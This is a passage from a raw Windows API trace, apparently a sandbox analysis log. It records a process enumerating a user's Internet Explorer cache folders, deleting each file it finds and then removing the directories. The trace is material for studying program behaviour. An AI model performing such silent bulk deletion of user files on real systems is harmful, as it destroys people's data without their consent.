Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[8]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[8]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[8]" [0101.747] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[8]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[8]")) returned 1 [0101.748] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab9ea80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab9ea80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab9ea80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x5590, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[9]", cAlternateFileName="V2_9_~1")) returned 1 [0101.748] lstrlenW (lpString="v2[9]") returned 5 [0101.748] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[9]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[9]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[9]" [0101.748] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[9]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[9]")) returned 1 [0101.782] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab9ea80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab9ea80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab9ea80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x5590, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[9]", cAlternateFileName="V2_9_~1")) returned 0 [0101.782] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0101.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b30 | out: hHeap=0x9770000) returned 1 [0101.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91a50 | out: hHeap=0x9770000) returned 1 [0101.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0101.783] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt")) returned 1 [0101.783] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9fe0320, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9fe0320, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="5JW0IE7I", cAlternateFileName="")) returned 1 [0101.783] lstrlenW (lpString="5JW0IE7I") returned 8 [0101.783] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="5JW0IE7I" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I" [0101.783] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I") returned 99 [0101.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91840 [0101.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd0) returned 0x9a91a50 [0101.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91b30 [0101.783] PathCombineW (in: pszDest=0x9a91a50, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\*.*" [0101.783] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\*.*", lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9fe0320, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9fe0320, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0102.000] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9fe0320, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9fe0320, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="..", cAlternateFileName="")) returned 1 [0102.048] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1afc9100, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1afc9100, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b03b520, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x109de, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="000000983398[1].gif", cAlternateFileName="000000~1.GIF")) returned 1 [0102.048] lstrlenW (lpString="000000983398[1].gif") returned 19 [0102.048] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="000000983398[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\000000983398[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\000000983398[1].gif" [0102.049] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\000000983398[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\000000983398[1].gif")) returned 1 [0102.087] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcea47020, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcea47020, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcea6d180, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x253df, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="11-b6a7e6-91cdfbc1[1].txt", cAlternateFileName="11-B6A~1.TXT")) returned 1 [0102.087] lstrlenW (lpString="11-b6a7e6-91cdfbc1[1].txt") returned 25 [0102.087] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="11-b6a7e6-91cdfbc1[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\11-b6a7e6-91cdfbc1[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\11-b6a7e6-91cdfbc1[1].txt" [0102.087] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\11-b6a7e6-91cdfbc1[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\11-b6a7e6-91cdfbc1[1].txt")) returned 1 [0102.087] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1626c600, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1626c600, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1626c600, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x253df, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="11-b6a7e6-91cdfbc1[2].txt", cAlternateFileName="11-B6A~2.TXT")) returned 1 [0102.087] lstrlenW (lpString="11-b6a7e6-91cdfbc1[2].txt") returned 25 [0102.087] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="11-b6a7e6-91cdfbc1[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\11-b6a7e6-91cdfbc1[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\11-b6a7e6-91cdfbc1[2].txt" [0102.087] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\11-b6a7e6-91cdfbc1[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\11-b6a7e6-91cdfbc1[2].txt")) returned 1 [0102.133] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd20cd040, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd20cd040, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd20cd040, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2f6a, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="14efd5f5[1].js", cAlternateFileName="14EFD5~1.JS")) returned 1 [0102.134] lstrlenW (lpString="14efd5f5[1].js") returned 14 [0102.134] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="14efd5f5[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\14efd5f5[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\14efd5f5[1].js" [0102.134] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\14efd5f5[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\14efd5f5[1].js")) returned 1 [0102.134] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b2e8de0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b2e8de0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b3350a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xb354, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="19328921[1].gif", cAlternateFileName="193289~1.GIF")) returned 1 [0102.134] lstrlenW (lpString="19328921[1].gif") returned 15 [0102.134] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="19328921[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\19328921[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\19328921[1].gif" [0102.134] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\19328921[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\19328921[1].gif")) returned 1 [0102.327] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1afc9100, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1afc9100, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1afc9100, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2f06, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="3_3_ino_smarthome_performance_728x90-default[1].gif", cAlternateFileName="3_3_IN~1.GIF")) returned 1 [0102.327] lstrlenW (lpString="3_3_ino_smarthome_performance_728x90-default[1].gif") returned 51 [0102.327] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="3_3_ino_smarthome_performance_728x90-default[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\3_3_ino_smarthome_performance_728x90-default[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\3_3_ino_smarthome_performance_728x90-default[1].gif" [0102.328] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\3_3_ino_smarthome_performance_728x90-default[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\3_3_ino_smarthome_performance_728x90-default[1].gif")) returned 1 [0102.526] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a774400, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a774400, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a774400, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x122d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]", cAlternateFileName="681775~1")) returned 1 [0102.526] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]") returned 158 [0102.526] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]" [0102.526] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede11;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=2;target=_blank;aduho=0;grp=243920512[1]")) returned 1 [0102.569] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18b2fec0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18b2fec0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18b2fec0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1254, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]", cAlternateFileName="6858_K~2")) returned 1 [0102.569] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]") returned 158 [0102.569] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]" [0102.569] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243913430[1]")) returned 1 [0102.574] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a6b5d20, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a6b5d20, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a6b5d20, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1254, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]", cAlternateFileName="68BF82~1")) returned 1 [0102.574] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]") returned 158 [0102.574] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]" [0102.574] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243920512[1]")) returned 1 [0102.574] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18bc8440, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18bc8440, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18cd2de0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1254, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]", cAlternateFileName="6858_K~4")) returned 1 [0102.574] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]") returned 158 [0102.574] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]" [0102.574] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 